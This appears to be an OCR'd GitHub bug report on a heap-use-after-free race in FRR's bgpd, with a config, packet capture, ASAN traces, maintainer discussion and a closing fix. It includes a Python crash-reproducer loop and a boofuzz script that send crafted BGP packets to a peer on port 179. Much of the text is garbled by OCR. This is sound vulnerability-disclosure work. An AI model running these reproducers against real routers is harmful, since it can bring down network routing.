

hostname bgpd-S1 password en

enable password en

ip address 127.0.0.1/32

bgp router-id 172.17.0.3

interface lo

router bgp 1

```
address-family ipv4 unicast
   network 172.17.0.0/24
 exit-address-family
 no bgp ebgp-requires-policy
 no bgp network import-check
 neighbor 172.17.0.1 remote-as 2
 neighbor 172.17.0.1 ebgp-multihop
 neighbor 172.17.0.1 next-hop-self
 neighbor 172.17.0.1 timers 5 5
 neighbor 172.17.0.1 extended-optional-parameters
log file /tmp/bgpd.log
!debug bgp as4
!debug bgp events
!debug bgp filters
!debug bgp fsm
debug bgp keepalives
debug bgp updates
debug bgp neighbor-events
!
log stdout
```

4. Write a loop to sequencely send the packets below until it crash:



No.	Time	Source	Destination	Protocol	Length Info
- 11635	775.853561666	172.17.0.1	172.17.0.2	TCP	74 [TCP Port numbers reused] 49958 - 170 [SYN] Seg-0 Win-64240 Len-0 MSS-1460 SACK PERM-1 T5val-694
11635	775.853588942	172,17.0.2	172,17.0.1	TCP	74 179 - 40958 [SYN, ACK] Seg=0 Ack=1 Min=65160 Len=0 MSS=1460 SACK PERM=1 TSval=1989245427 TSecr=6.
11635.	775.853592324	172 17 9 1	172-17-9-2	TCP	66 46958 - 170 (ACK) Seq-1 Ack-1 Win-64256 Len-9 TSval-694695663 TSecr-1989245427
11635	775.854872881	172.17.8.1	172.17.0.2	BGP	181 OPEN Message[Malformed Packet]
11635	775.854081812	172, 17, 8, 2	172.17.8.1	TCP	88 179 - 48958 (ACK) Seg=1 Ark=35 Win=65152 Len=0 TSval=1989245428 TSecr=894995664
11635.	775.854263864	172.17.0.2	172.17.0.1	BGP	178 OPEN Message[Malformed Packet]
11635	775.854274684	177,17,8.1	172, 17, 8.2	TOP	66 40058 - 1/9 ACA Seg-36 ACK-113 Win-64256 Len-0 TSval-694095664 TSecr-1989245428
11635	775.854365393	172.17.0.2	172.17.0.1	BGP	87 NOTIFICATION Message
11635.	775.854374690	172.17.0.1	172, 17, 9, 2	TCP	66 49958 - 179 [ACK] Seq=36 Ack=134 Win=64256 Len=8 TSval=694995664 TSecr=1989245428
11635	775.854519048	172.17.0.1	172.17.8.2	BGP	85 KEEPALIVE Message
11635	775.854524230	1/2,1/,0/2	1/2,17,9,1	TCP	56 179 - 40956 [ACK] Seg=134 Ack=55 Win=65152 Len=9 TSval=1989245428 TSecr=694895664
11635	775.854792118	172.17.0.1	172,17,0,2	BGP	599 KEEPALIVE Message
11635	775.854706195	172.17.0.2	172.17.8.1	TCP	66 179 - 40958 [ACK] 5eq=134 Ack=588 Win=64648 Len=8 TSval=1989245428 TSecr=694695664
11635	776,171026203	172,17,9,2	172.17.0.1	TCP	66 179 - 49958 (FIN, ACK) Seg=134 Ack=588 Win=64048 Len=0 TSval=1989245745 TSecr=694095664
11635	776,171293438	172.17.0.1	172,17.9.2	TCP	66 49958 - 179 FIN, ACK Seq-588 Ack=135 Win=64256 Len=0 TSval=694095981 TSecr=1989245745
- 11635	776.171304642	172.17.0.2	172.17.9.1	TCP	66 179 - 40958 [ACK] Seg=135 Ack=589 Win=64640 Len=0 T5val=1989245745 TSecr=694095981

Because of the race condition, this might not be always cause the bgpd crash.

Expected behavior

The bgpd daemon program won't crash.

Screenshots

The ASAN outputs:

```
2022/07/26 08:40:51 BGP: [ZQHFG-DQGX1] 172.17.0.1 went from OpenSent to Deleted
2022/07/26 08:40:51 BGP: [YTARA-Q9ZD1] [Event] BGP connection from host 172.17.0.1 fd 18 2022/07/26 08:40:51 BGP: [WVAM7-7ZYKQ][EC 33554499] sendmsg_nexthop: zclient_send_message() failed
2022/07/26 08:40:51 BGP: [T91AW-FGMHW] bgp_fsm_change_status : vrf default(0), Status: Active establi
shed_peers 0
2022/07/26 08:40:51 BGP: [ZQHFG-DQGX1] 172.17.0.1 went from Idle to Active
2022/07/26 08:40:51 BGP: [ZWCSR-M7FG9] 172.17.0.1 [FSM] TCP connection open (Active->OpenSent), fd 18
2022/07/26 08:40:51 BGP: [WECS1-Q4P17] 172.17.0.1 passive open
2022/07/26 08:40:51 BGP: [XKJ09-9VTZ7] 172.17.0.1 Sending hostname cap with hn = bgpd-S1, dn = (null) 2022/07/26 08:40:51 BGP: [JFFAN-DEGED] 172.17.0.1 sending OPEN, version 4, my as 1, holdtime 5, id 17
2.17.0.3
2022/07/26 08:40:51 BGP: [T91AW-FGMHW] bgp_fsm_change_status : vrf default(0), Status: OpenSent estab
lished peers 0
2022/07/26 08:40:51 BGP: [ZQHFG-DQGX1] 172.17.0.1 went from Active to OpenSent
2022/07/26 08:40:51 BGP: [WNM1E-D314G] 172.17.0.1 rcv OPEN (Extended), version 4, remote-as (in open)
2, holdtime 5, id 172.17.0.1
2022/07/26 08:40:51 BGP: [QG29C-5TSVS] 172.17.0.1 rcv OPEN w/ OPTION parameter len: 3
2022/07/26 08:40:51 BGP: [ZAW02-C9J2Q] 172.17.0.1 Option length error (256) 2022/07/26 08:40:51 BGP: [HZN6M-XRM1G] %NOTIFICATION: sent to neighbor 172.17.0.1 2/0 (OPEN Message E
rror/Unspecific) 0 bytes
2022/07/26 08:40:51 BGP: [HTQD2-0R1WR][EC 33554451] bgp process packet: BGP OPEN receipt failed for p
eer: 172.17.0.1
READ of size 8 at 0x6070002c4530 thread T2 (bgpd io)
    #0 0x7f769697cd57 in stream_get_endp lib/stream.c:201
    #1 0x55ef315e9613 in bgp_notify_send_with_data bgpd/bgp_packet.c:922
    #2 0x55ef3159c914 in validate_header bgpd/bgp_io.c:577
    #3 0x55ef31599f1a in bgp_process_reads bgpd/bgp_io.c:225
    #4 0x7f76969ad8ea in thread_call lib/thread.c:2005
    #5 0x7f769688b096 in fpt_run lib/frr_pthread.c:309
#6 0x7f7696889f66 in frr_pthread_inner lib/frr_pthread.c:158
    #7 0x7f7696474608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477
    #8 0x7f7696399132 in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x11f132)
0x6070002c4530 is located 16 bytes inside of 67-byte region [0x6070002c4520,0x6070002c4563)
    #0 0x7f7696d1340f in __interceptor_free ../../../src/libsanitizer/asan/asan_malloc_linux.cc:12
    #1 0x7f76968e402f in qfree lib/memory.c:141
    #2 0x7f769697b6d6 in stream_free lib/stream.c:124
```

```
0x6070002c4530 is located 16 bytes inside of 67-byte region [0x6070002c4520,0x6070002c4563)
    #0 0x7f7696d1340f in __interceptor_free ../../../src/libsanitizer/asan/asan_malloc_linux.cc:12
2
    #1 0x7f76968e402f in qfree lib/memory.c:141
    #2 0x7f769697b6d6 in stream_free lib/stream.c:124
    #3 0x55ef315f69d2 in bgp_process_packet bgpd/bgp_packet.c:2886
#4 0x7f76969ad8ea in thread_call lib/thread.c:2005
    #5 0x7f76968b9cfe in frr_run lib/libfrr.c:1198
    #6 0x55ef314be753 in main bgpd/bgp_main.c:519
    #7 0x7f769629e082 in libc start main ../csu/libc-start.c:308
previously allocated by thread T2 (bgpd_io) here:
    #0 0x7f7696d13808 in __interceptor_malloc ../../../src/libsanitizer/asan/asan_malloc_linux.cc:
144
    #1 0x7f76968e3e9f in qmalloc lib/memory.c:111
    #2 0x7f769697b5df in stream_new lib/stream.c:110
    #3 0x55ef3159a099 in bgp_process_reads bgpd/bgp_io.c:243
    #4 0x7f76969ad8ea in thread_call lib/thread.c:2005
    #5 0x7f769688b096 in fpt_run lib/frr_pthread.c:309
    #6 0x7f7696889f66 in frr_pthread_inner lib/frr_pthread.c:158
    #7 0x7f7696474608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477
Thread T2 (bgpd_io) created by T0 here:
    #0 0x7f7696c40815 in __interceptor_pthread_create ../../../src/libsanitizer/asan/asan_intercep
tors.cc:208
    #1 0x7f769688a107 in frr_pthread_run lib/frr_pthread.c:177
    #2 0x55ef3179ac28 in bgp_pthreads_run bgpd/bgpd.c:8118
    #3 0x55ef314be6fb in main bgpd/bgp_main.c:518
    #4 0x7f769629e082 in __libc_start_main ../csu/libc-start.c:308
SUMMARY: AddressSanitizer: heap-use-after-free lib/stream.c:201 in stream_get_endp
Shadow bytes around the buggy address:
  0x0c0e80050850: fd fd fd fd fd fd fd fd
  0x0c0e80050860: fd fd fd fd fd fd
  0x0c0e80050870: fd fd fd fd
  0x0c0e80050880: fd fd fd
  0x0c0e80050890: fd
                              fd fd[fd]fd fd fd fd fd
=>0x0c0e800508a0:
  0x0c0e800508b0:
  0x0c0e800508c0: fd fd fd fd fd fd fd fd
```

```
SUMMARY: AddressSanitizer: heap-use-after-free lib/stream.c:201 in stream get endp
Shadow bytes around the buggy address:
 0x0c0e80050850: fd fd fd fd fd fd fd fd fa fa fa
 0x0c0e80050860: fd fd fd fd fd fd fa fa fa
 0x0c0e80050870: fd fd fd fd fd fa fa fa
 0x0c0e80050880: fd fd fd
                         fa fa fa fd fd fd fd fd fd fd fd
 0x0c0e80050890: fd
                      fa fa fd fd[fd]fd fd fd fd fd fd
=>0x0c0e800508a0:
                fa fa fd fd fd fd fd fd fd fd
 0x0c0e800508b0: f
 0x0c0e800508c0: fd fd fd fd fd fd fd fd
 0x0c0e800508d0: fd fd fd fd fd fd
 Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable:
                      00
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone:
 Freed heap region:
 Stack left redzone:
 Stack mid redzone:
 Stack right redzone:
 Stack after return:
 Stack use after scope:
 Global redzone:
 Global init order:
 Poisoned by user:
 Container overflow:
 Array cookie:
 Intra object redzone:
 ASan internal:
                         fe
 Left alloca redzone:
 Right alloca redzone:
 Shadow gap:
==177==ABORTING
root@1738de574178:/opt/frr#
```

Versions

- OS Version: Ubuntu 20.04
- Kernel: Linux 1738de574178 5.15.0-41-generic #44~20.04.1-Ubuntu
- FRR Version: git version with commit: a9b4458.

Additional context

- spwpun added the triage label on Jul 28
- ton31337 added the bgp label on Jul 28

ton31337 commented on Jul 28

Member

Is this the exact configuration snippet that crashes? extended-optional-parameters MUST exist or not?

Is this the exact configuration snippet that crashes? extended-optional-parameters MUST exist or not?

extended-optional-parameters configuration is not required.

R ton31337 self-assigned this on Jul 28

ton31337 commented on Jul 28

Member

@spwpun can you provide a script or something to easily run and replicate the crash? I have a potential fix, but I want to verify.

spwpun commented on Jul 28

Author

@spwpun can you provide a script or something to easily run and replicate the crash? I have a potential fix, but I want to verify.

Sure, but my script may not be 100% successful. The crash was encountered in the process of fuzzing it with boofuzz. The boofuzz script may be more complicated.

```
import socket
from time import sleep
bgp\_notification = b' \ xff 
while True:
               try:
                             print("[+] Creating socket...")
                              s = socket.socket(type=socket.SOCK_STREAM)
                              print("[+] Connecting to server...")
                              s.connect(('172.17.0.3', 179))
                              s.send(bgp_open)
                              sleep(0.0009999999)
                              s.send(bgp_keepalive)
                              s.send(bgp_notification)
               except KeyboardInterrupt:
                              s.close()
                              break
               except:
                              s.close()
```

Do you have a script for boofuzz?

spwpun commented on Jul 28

s_initialize("bgp_keepalive")
if s_block_start("BGP"):

Author

```
Do you have a script for boofuzz?
yeah, use it with boofuzz latest version.
from boofuzz import constants
from boofuzz import *
from boofuzz import helpers
# bgp open
s_initialize("bgp_open")
if s block start("BGP"):
   if s_block_start("Header"):
       # The length should be calculated automatically:
       # len is the open message length, 19 is the length of the header
       s size(block name="Open", length=2, math=lambda x: x + 19, name="Length", endian=BIG ENDIAN,
       # s_word(value=34, fuzz_values=[0, 1, 2, 3, 4, 5, 16, 8, 20, 24, 32, 33], endian=BIG_ENDIAN,
       # Type is always 1 for open messages
       s_byte(value=0x01, endian=BIG_ENDIAN, name="Type", fuzzable=False)
   s_block_end()
   if s block start("Open"):
       s byte(value=0x04, endian=BIG ENDIAN, name="Version", fuzzable=False)
       s_word(value=2, endian=BIG_ENDIAN, name="My Autonomous System", fuzzable=False)
       s word(value=5, endian=BIG ENDIAN, name="Hold Time", fuzzable=False)
       # BGP Identifier is IP address
       s_dword(value=helpers.ip_str_to_bytes("172.17.0.1"), endian=BIG_ENDIAN, name="BGP Identifier"
       s_byte(value=b"\xff", endian=">", name="Non-Ext OP Len", fuzzable=False)
       # s_byte(value=0x00, endian=BIG_ENDIAN, name="Optional Parameter Length", fuzzable=True) # or
       # s_string(value="", name="Optiname Parameters", size=-1, padding=b'\x00', fuzzable=True)
       s_byte(value=b'\xff', endian=">", name = "Non-Ext OP Type", fuzzable=False)
       s_size(block_name="Optional Parameters", length=2, name="Extended Opt. Parm Length", endian=B
       # s word(value=4096, endian=">", name = "Extended Opt. Parm Length", fuzzable = True) # origi
       if s block start("Optional Parameters"):
           # Optional Parameters [0]:
           if s block start("Reserved"):
               s_byte(value=0x00, endian=BIG_ENDIAN, name="Parameter Type", fuzzable=False)
               s_size(block_name="Reserved Parameter Value", length=1, name="Parameter Length", endi
               # s_byte(value=0x00, endian=BIG_ENDIAN, name="Parameter Length", fuzzable=True) # ori
               s_string(value="\x00", name="Reserved Parameter Value", size=-1, padding=b'\x00', fuz
           s_block_end()
       s block end()
   s_block_end()
s_block_end()
# bgp keepalive
```

```
if s block start("Header"):
       # The length should be calculated automatically:
       # len is the open message length, 19 is the length of the header
       s size(block name="Keepalive", length=2, math=lambda x: x + 19, name="Length", endian=BIG END
       # s_word(value=19, fuzz_values=[0, 1, 2, 3, 4, 5, 16, 8, 20, 24, 32, 33], endian=BIG_ENDIAN,
       # Type is always 4 for keepalive messages
       s byte(value=0x04, endian=BIG ENDIAN, name="Type", fuzzable=False)
   s_block_end()
   # A KEEPALIVE message consists of only the message header and has a length of 19 octets.
   if s_block_start("Keepalive"):
   s block end()
s_block_end()
# bgp notification
s initialize("bgp notification")
if s block start("BGP"):
   if s block start("Header"):
       # The length should be calculated automatically:
       # len is the open message length, 19 is the length of the header
       s size(block name="Notification", length=2, math=lambda x: x + 19, name="Length", endian=BIG
       # s_word(value=19, fuzz_values=[0, 1, 2, 3, 4, 5, 16, 8, 20, 24, 32, 33], endian=BIG_ENDIAN,
       # Type is always 4 for keepalive messages
       s_byte(value=0x04, endian=BIG_ENDIAN, name="Type", fuzzable=False)
   s_block_end()
   if s block start("Notification"):
       s byte(value=0x00, endian=BIG ENDIAN, name="Error Code", fuzzable=True)
       s_byte(value=0x00, endian=BIG_ENDIAN, name="Error Subcode", fuzzable=True)
       s_string(value="", name="Error Message", size=-1, padding=b'\x00', fuzzable=True)
   s_block_end()
s_block_end()
TARGET IP = "172.17.0.3"
TARGET_PORT = 179
fuzz_sess = Session(
   target=Target(
       # TCPSocketConnection example
       connection=TCPSocketConnection(
          host=TARGET_IP,
          port=TARGET PORT,
          send_timeout=5,
          recv_timeout=5,
           server=False,
       ),
   ),
   # other extra settings
   ignore_connection_reset=True,
   receive data after each request=True,
   receive_data_after_fuzz=True,
```

```
fuzz_sess.connect(s_get("bgp_open"))
fuzz_sess.connect(s_get("bgp_open"),s_get("bgp_keepalive"))
fuzz_sess.connect(s_get("bgp_keepalive"),s_get("bgp_notification"))
fuzz_sess.fuzz()
```

ton31337 commented on Jul 28

Member

Thanks.

spwpun commented on Jul 28

Author

Thanks.

By the way, I just tested it again using this boofuzz script and bgpd crashes at about 4 minutes. In my opinion there is a 90% chance of success.

ton31337 commented on Jul 28

Member

Can't replicate quickly in 30 minutes. Running with:

timeout -s 9 1800 python3 b.py

Trying more...

spwpun commented on Jul 28

Author

Can't replicate quickly in 30 minutes. Running with:

timeout -s 9 1800 python3 b.py

Trying more...

Have you added '-fsanitize=address' cflags for frr when compiling? I tested it again with your command, crashed in about 10 minutes

Yep, I compiled with --enable-address-sanitizer as usual.

spwpun commented on Jul 28

Author

Yep, I compiled with --enable-address-sanitizer as usual.

It's so strange, maybe out of my knowledge. Try more time or other platform?

mjstapp commented on Jul 28

Contributor

just read through this, and it does look like this may be real (imo).

the io pthread is careful to hold the io_mutex while it tests and reads from peer->curr, but the main pthread in bgp_process_packet() only holds the mutex long enough to set the pointer, not while using it (or freeing it):

```
frr_with_mutex(&peer->io_mtx) {
          peer->curr = stream_fifo_pop(peer->ibuf);
}
```

spwpun commented on Jul 28

Author

Yep, I compiled with --enable-address-sanitizer as usual.

Maybe you could use gdb to debug it with the first script, add breakpoint at bgp_packet.c:2886 and bgp_packet.c:922. :)

spwpun commented on Jul 29

Author

just read through this, and it does look like this may be real (imo). the io pthread is careful to hold the io_mutex while it tests and reads from peer->curr, but the main pthread in bgp_process_packet() only holds the mutex long enough to set the pointer, not while using it (or freeing it):

```
frr_with_mutex(&peer->io_mtx) {
          peer->curr = stream_fifo_pop(peer->ibuf);
}
```

Thanks for reply, I also think it's real,

spwpun commented on Jul 29 • edited •

Author

@spwpun can you provide a script or something to easily run and replicate the crash? I have a potential fix, but I want to verify.

@ton31337 Hi, thanks for your patiently reply, now have you checked this issue or fixed it? If any question, feel free to ask, I'll try my best to answer.





in mjstapp mentioned this issue on Sep 9

bgpd: avoid notify race between io and main pthreads #11926





🜘 ton31337 closed this as completed in #11926 on Sep 12

Assignees



👮 ton31337

Labels

triage bgp

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

bgpd: avoid notify race between io and main pthreads mjstapp/frr

3 participants





